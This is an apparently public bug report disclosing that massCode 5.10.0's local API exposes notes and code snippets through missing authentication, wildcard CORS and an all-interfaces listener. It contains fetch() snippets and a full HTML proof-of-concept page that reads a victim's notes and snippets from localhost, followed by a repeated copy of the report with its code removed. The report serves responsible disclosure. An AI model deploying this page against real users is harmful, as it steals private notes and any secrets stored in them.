Describe the bug
Introduction
First, thank you for developing and maintaining massCode. massCode is a well-designed and practical open-source project for organizing code snippets, notes, and developer knowledge. Its desktop experience and local data-management model make it particularly useful for developers who want an efficient way to maintain their personal code and technical notes.
During an academic security review of desktop applications and their locally exposed interfaces, we identified a security issue in massCode's local HTTP API.
We would like to emphasize that this report is not intended as criticism of the project or its developers. The purpose of this disclosure is to help improve the security of massCode and reduce potential risk to its users.
Vulnerability Summary
The local HTTP service exposed by massCode can be accessed by callers outside the intended application boundary.
During testing, the massCode API was observed to listen on all network interfaces, rather than being restricted exclusively to the loopback interface. At the same time, the API enables permissive cross-origin access:
// src/main/api/index.ts
.use(cors({ origin: '*' }))
Sensitive Notes and Snippets endpoints do not require authentication or another trusted-client credential.
Examples include:
GET /notes
GET /notes/:id
POST /notes
PATCH /notes/:id/content
DELETE /notes/:id
GET /snippets
GET /snippets/:id
GET /note-folders
POST /note-tags
Consequently, an attacker-controlled web page may be able to communicate directly with the massCode API running on the victim's machine and retrieve sensitive local information, including:
- the user's Notes list;
- complete Note contents;
- code Snippet metadata;
- complete code Snippet contents.
Where state-changing endpoints are reachable, the exposed API may additionally allow unauthorized creation, modification, or deletion of locally stored data.
Security Impact
This issue effectively exposes capabilities that appear to have been designed for communication between trusted massCode components to callers outside that trust boundary.
A realistic attack only requires the following:
- massCode is running on the victim's computer.
- Its local HTTP API is listening.
- The victim visits an attacker-controlled web page using a browser/environment in which the request to the local service is permitted.
- The malicious page sends requests to the massCode HTTP API.
- Because the API does not authenticate the caller and responds with permissive CORS headers, the malicious page can read the returned Notes or Snippets.
For example:
const notes = await fetch("http://127.0.0.1:4321/notes")
.then(r => r.json());
const snippets = await fetch("http://127.0.0.1:4321/snippets")
.then(r => r.json());
The attacker can subsequently request individual objects using their identifiers:
const note = await fetch(
"http://127.0.0.1:4321/notes/" + noteId
).then(r => r.json());
const snippet = await fetch(
"http://127.0.0.1:4321/snippets/" + snippetId
).then(r => r.json());
This may allow an attacker-controlled website to obtain arbitrary private Notes and source-code Snippets stored by the victim in massCode.
Because developers may store API examples, source code, internal URLs, configuration fragments, commands, credentials, tokens, or other sensitive development information inside their Notes and Snippets, disclosure of this data may have consequences beyond the massCode application itself.
Network Exposure
An additional concern is that the HTTP service is not limited strictly to the loopback interface and is instead exposed on all available network interfaces.
This expands the attack surface beyond requests originating from the local machine.
Depending on the host firewall and network configuration, another device on the same network may also be able to connect to the massCode service through the host's private network address.
Therefore, restricting exploitation only to 127.0.0.1 would underestimate the exposed attack surface.
For a local-only internal API, binding to:
or:
would provide a substantially narrower network boundary than listening on:
Browser Local-Network Restrictions Are Not a Security Boundary
Some modern browsers have introduced Local Network Access protections intended to restrict requests from public websites to loopback or private-network destinations.
However, these browser-side protections should not be considered an authentication or authorization mechanism for massCode's local API.
Their availability and enforcement depend on the browser, browser version, configuration, request context, and platform. The technology has also continued to evolve across browser implementations.
Therefore, even if a particular browser version currently blocks or prompts for some requests to 127.0.0.1 or private-network addresses, this does not remove the underlying vulnerability.
The server currently has no independent mechanism to determine whether a request originates from:
- the legitimate massCode frontend;
- an arbitrary website;
- another local process;
- a browser extension;
- or another host capable of reaching the exposed network interface.
A browser security feature should therefore be considered an additional mitigation rather than the trust boundary protecting sensitive massCode data.
Root Cause
The vulnerability results from the combination of several security conditions.
1. Sensitive Local API Without Caller Authentication
Notes and Snippets endpoints directly expose locally stored user data but do not require a secret, session credential, capability token, or other mechanism proving that the caller is an authorized massCode component.
For example, Notes routes directly invoke the application's storage functionality:
.get('/', ...)
.get('/:id', ...)
.post('/', ...)
.patch('/:id/content', ...)
.delete('/:id', ...)
There is no authentication check protecting these capabilities.
2. Wildcard Cross-Origin Access
The API enables:
.use(cors({ origin: '*' }))
This permits arbitrary origins to read responses from the HTTP API when the browser allows the underlying network request.
This is particularly dangerous for sensitive read endpoints because the attacker does not merely cause a request: JavaScript running on the malicious origin can obtain and process the returned content.
3. Network-Exposed Listener
The service listens beyond a strictly loopback-only interface.
As a result, an API apparently intended for internal application communication can become reachable from additional network contexts.
4. No Application-Level Trusted-Caller Verification
Sensitive routes do not independently validate:
- a per-installation or per-session authentication token;
- a trusted application capability;
- the requesting
Origin;
- another cryptographically unpredictable credential;
- or explicit user authorization.
The server therefore treats possession of network access to the API endpoint as sufficient authority to access sensitive application functionality.
Proof of Concept
The following page demonstrates the issue by requesting the victim's Notes and Snippets from the massCode API.
It performs read-only operations for demonstration purposes.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>massCode Local API Audit</title>
<style>
body {
margin: 24px;
font-family: Arial, sans-serif;
background: #f7f7f7;
color: #222;
}
h1 {
margin-top: 0;
font-size: 22px;
}
.row {
margin: 12px 0;
}
label {
display: inline-block;
width: 90px;
}
input, select, button {
padding: 6px 8px;
margin: 3px;
}
button {
cursor: pointer;
}
pre {
min-height: 420px;
padding: 12px;
overflow: auto;
white-space: pre-wrap;
background: #111;
color: #eee;
border: 1px solid #333;
}
</style>
</head>
<body>
<h1>massCode Local API Audit</h1>
<div class="row">
<label for="port">Port</label>
<input id="port" value="4321">
</div>
<div class="row">
<button onclick="listNotes()">List notes</button>
<select id="note-list"
onchange="document.getElementById('note-id').value = this.value">
<option value="">note id</option>
</select>
<input id="note-id" placeholder="note id">
<button onclick="readNote()">Read note</button>
</div>
<div class="row">
<button onclick="listSnippets()">List snippets</button>
<select id="snippet-list"
onchange="document.getElementById('snippet-id').value = this.value">
<option value="">snippet id</option>
</select>
<input id="snippet-id" placeholder="snippet id">
<button onclick="readSnippet()">Read snippet</button>
</div>
<div class="row">
<button onclick="clearOutput()">Clear</button>
</div>
<pre id="output">Click a button to call the local massCode API.</pre>
<script>
function apiBase() {
const port = document.getElementById('port').value || '4321';
return 'http://127.0.0.1:' + port;
}
function show(value) {
const output = document.getElementById('output');
output.textContent = typeof value === 'string'
? value
: JSON.stringify(value, null, 2);
}
function showError(error) {
show(String(error && error.stack ? error.stack : error));
}
async function getJson(path) {
const response = await fetch(apiBase() + path);
const text = await response.text();
if (!response.ok) {
throw new Error(
response.status +
' ' +
response.statusText +
'\n' +
text
);
}
return text ? JSON.parse(text) : null;
}
function itemsFrom(response) {
if (Array.isArray(response)) {
return response;
}
if (response && Array.isArray(response.data)) {
return response.data;
}
if (response && Array.isArray(response.items)) {
return response.items;
}
return [];
}
function fillSelect(selectId, items) {
const select = document.getElementById(selectId);
select.innerHTML =
'<option value="">id</option>';
for (const item of items) {
const option = document.createElement('option');
option.value = item.id;
option.textContent =
item.id +
(
item.name
? ' - ' + item.name
: item.title
? ' - ' + item.title
: ''
);
select.appendChild(option);
}
if (items[0]) {
select.value = items[0].id;
select.dispatchEvent(
new Event('change')
);
}
}
async function listNotes() {
try {
const response = await getJson('/notes');
const notes = itemsFrom(response);
fillSelect(
'note-list',
notes
);
show({
endpoint: 'GET /notes',
count: notes.length,
ids: notes.map(
note => note.id
),
response
});
} catch (error) {
showError(error);
}
}
async function readNote() {
try {
const id =
document.getElementById(
'note-id'
).value;
if (!id) {
throw new Error(
'Please enter or select a note id.'
);
}
const note =
await getJson(
'/notes/' +
encodeURIComponent(id)
);
show({
endpoint:
'GET /notes/' + id,
id,
title:
note &&
(note.name || note.title),
content:
note && note.content,
response: note
});
} catch (error) {
showError(error);
}
}
async function listSnippets() {
try {
const response =
await getJson('/snippets');
const snippets =
itemsFrom(response);
fillSelect(
'snippet-list',
snippets
);
show({
endpoint:
'GET /snippets',
count:
snippets.length,
ids:
snippets.map(
snippet => snippet.id
),
response
});
} catch (error) {
showError(error);
}
}
async function readSnippet() {
try {
const id =
document.getElementById(
'snippet-id'
).value;
if (!id) {
throw new Error(
'Please enter or select a snippet id.'
);
}
const snippet =
await getJson(
'/snippets/' +
encodeURIComponent(id)
);
show({
endpoint:
'GET /snippets/' + id,
id,
name:
snippet &&
(
snippet.name ||
snippet.title
),
contents:
snippet &&
snippet.contents,
response:
snippet
});
} catch (error) {
showError(error);
}
}
function clearOutput() {
show('');
}
</script>
</body>
</html>
Expected Result
An arbitrary external website should not be able to retrieve Notes or Snippets from a massCode instance running on the user's machine.
Requests from an untrusted origin should either be rejected or require a credential that an attacker-controlled website cannot obtain.
Actual Result
Where the browser/environment permits the connection to the local service, an arbitrary website can send unauthenticated requests to the massCode API.
Because the API permits arbitrary origins through wildcard CORS, JavaScript on the attacking website can read the HTTP responses and obtain the victim's local Notes and code Snippets.
Recommended Remediation
We recommend addressing the issue at the application layer rather than relying on browser local-network protections.
Possible mitigations include:
-
Bind the internal API only to loopback
Use 127.0.0.1 and/or ::1 instead of listening on all network interfaces unless remote access is explicitly required.
-
Introduce caller authentication
Generate a cryptographically random secret when massCode starts and require it for all privileged local API requests.
The secret should not be available to arbitrary websites.
-
Remove wildcard CORS
Avoid:
for APIs exposing sensitive local information.
If browser-based application components require CORS, allow only the exact trusted application origin.
-
Protect both read and write endpoints
Authentication should apply consistently to endpoints that:
- enumerate Notes or Snippets;
- retrieve their contents;
- create data;
- modify data;
- delete data;
- expose related folders, tags, configuration, or metadata.
-
Treat browser local-network protections as defense in depth only
Local Network Access restrictions can provide additional protection in supporting browsers, but they should not replace server-side authentication and authorization.
Conclusion
The massCode local API exposes sensitive Notes and code Snippets without authenticating the caller, permits arbitrary origins through wildcard CORS, and is exposed beyond a strictly loopback-only listener.
Together, these conditions allow capabilities intended for trusted massCode components to become accessible outside the intended application boundary.
In affected browser and network environments, an attacker who convinces a massCode user to visit a malicious page may be able to retrieve the victim's private Notes and source-code Snippets without further interaction.
We are reporting this issue in good faith to help strengthen massCode's security and protect its users.
To reproduce
- deploy the poc html on remote webserver
- run masscode ,and create some notes or code snippets
- open the poc webpage with edge/safari/firefox
- click some buttons on it
App Version and Architecture
5.10.0
System info
npx envinfo --system
System:
OS: Windows 11 10.0.26200
CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF
Memory: 21.17 GB / 31.81 GB
Validations
Describe the bug
Introduction
First, thank you for developing and maintaining massCode. massCode is a well-designed and practical open-source project for organizing code snippets, notes, and developer knowledge. Its desktop experience and local data-management model make it particularly useful for developers who want an efficient way to maintain their personal code and technical notes.
During an academic security review of desktop applications and their locally exposed interfaces, we identified a security issue in massCode's local HTTP API.
We would like to emphasize that this report is not intended as criticism of the project or its developers. The purpose of this disclosure is to help improve the security of massCode and reduce potential risk to its users.
Vulnerability Summary
The local HTTP service exposed by massCode can be accessed by callers outside the intended application boundary.
During testing, the massCode API was observed to listen on all network interfaces, rather than being restricted exclusively to the loopback interface. At the same time, the API enables permissive cross-origin access:
Sensitive Notes and Snippets endpoints do not require authentication or another trusted-client credential.
Examples include:
Consequently, an attacker-controlled web page may be able to communicate directly with the massCode API running on the victim's machine and retrieve sensitive local information, including:
Where state-changing endpoints are reachable, the exposed API may additionally allow unauthorized creation, modification, or deletion of locally stored data.
Security Impact
This issue effectively exposes capabilities that appear to have been designed for communication between trusted massCode components to callers outside that trust boundary.
A realistic attack only requires the following:
For example:
The attacker can subsequently request individual objects using their identifiers:
This may allow an attacker-controlled website to obtain arbitrary private Notes and source-code Snippets stored by the victim in massCode.
Because developers may store API examples, source code, internal URLs, configuration fragments, commands, credentials, tokens, or other sensitive development information inside their Notes and Snippets, disclosure of this data may have consequences beyond the massCode application itself.
Network Exposure
An additional concern is that the HTTP service is not limited strictly to the loopback interface and is instead exposed on all available network interfaces.
This expands the attack surface beyond requests originating from the local machine.
Depending on the host firewall and network configuration, another device on the same network may also be able to connect to the massCode service through the host's private network address.
Therefore, restricting exploitation only to
127.0.0.1would underestimate the exposed attack surface.For a local-only internal API, binding to:
or:
would provide a substantially narrower network boundary than listening on:
Browser Local-Network Restrictions Are Not a Security Boundary
Some modern browsers have introduced Local Network Access protections intended to restrict requests from public websites to loopback or private-network destinations.
However, these browser-side protections should not be considered an authentication or authorization mechanism for massCode's local API.
Their availability and enforcement depend on the browser, browser version, configuration, request context, and platform. The technology has also continued to evolve across browser implementations.
Therefore, even if a particular browser version currently blocks or prompts for some requests to
127.0.0.1or private-network addresses, this does not remove the underlying vulnerability.The server currently has no independent mechanism to determine whether a request originates from:
A browser security feature should therefore be considered an additional mitigation rather than the trust boundary protecting sensitive massCode data.
Root Cause
The vulnerability results from the combination of several security conditions.
1. Sensitive Local API Without Caller Authentication
Notes and Snippets endpoints directly expose locally stored user data but do not require a secret, session credential, capability token, or other mechanism proving that the caller is an authorized massCode component.
For example, Notes routes directly invoke the application's storage functionality:
There is no authentication check protecting these capabilities.
2. Wildcard Cross-Origin Access
The API enables:
This permits arbitrary origins to read responses from the HTTP API when the browser allows the underlying network request.
This is particularly dangerous for sensitive read endpoints because the attacker does not merely cause a request: JavaScript running on the malicious origin can obtain and process the returned content.
3. Network-Exposed Listener
The service listens beyond a strictly loopback-only interface.
As a result, an API apparently intended for internal application communication can become reachable from additional network contexts.
4. No Application-Level Trusted-Caller Verification
Sensitive routes do not independently validate:
Origin;The server therefore treats possession of network access to the API endpoint as sufficient authority to access sensitive application functionality.
Proof of Concept
The following page demonstrates the issue by requesting the victim's Notes and Snippets from the massCode API.
It performs read-only operations for demonstration purposes.
Expected Result
An arbitrary external website should not be able to retrieve Notes or Snippets from a massCode instance running on the user's machine.
Requests from an untrusted origin should either be rejected or require a credential that an attacker-controlled website cannot obtain.
Actual Result
Where the browser/environment permits the connection to the local service, an arbitrary website can send unauthenticated requests to the massCode API.
Because the API permits arbitrary origins through wildcard CORS, JavaScript on the attacking website can read the HTTP responses and obtain the victim's local Notes and code Snippets.
Recommended Remediation
We recommend addressing the issue at the application layer rather than relying on browser local-network protections.
Possible mitigations include:
Bind the internal API only to loopback
Use
127.0.0.1and/or::1instead of listening on all network interfaces unless remote access is explicitly required.Introduce caller authentication
Generate a cryptographically random secret when massCode starts and require it for all privileged local API requests.
The secret should not be available to arbitrary websites.
Remove wildcard CORS
Avoid:
for APIs exposing sensitive local information.
If browser-based application components require CORS, allow only the exact trusted application origin.
Protect both read and write endpoints
Authentication should apply consistently to endpoints that:
Treat browser local-network protections as defense in depth only
Local Network Access restrictions can provide additional protection in supporting browsers, but they should not replace server-side authentication and authorization.
Conclusion
The massCode local API exposes sensitive Notes and code Snippets without authenticating the caller, permits arbitrary origins through wildcard CORS, and is exposed beyond a strictly loopback-only listener.
Together, these conditions allow capabilities intended for trusted massCode components to become accessible outside the intended application boundary.
In affected browser and network environments, an attacker who convinces a massCode user to visit a malicious page may be able to retrieve the victim's private Notes and source-code Snippets without further interaction.
We are reporting this issue in good faith to help strengthen massCode's security and protect its users.
To reproduce
App Version and Architecture
5.10.0
System info
npx envinfo --system System: OS: Windows 11 10.0.26200 CPU: (20) x64 13th Gen Intel(R) Core(TM) i5-13600KF Memory: 21.17 GB / 31.81 GBValidations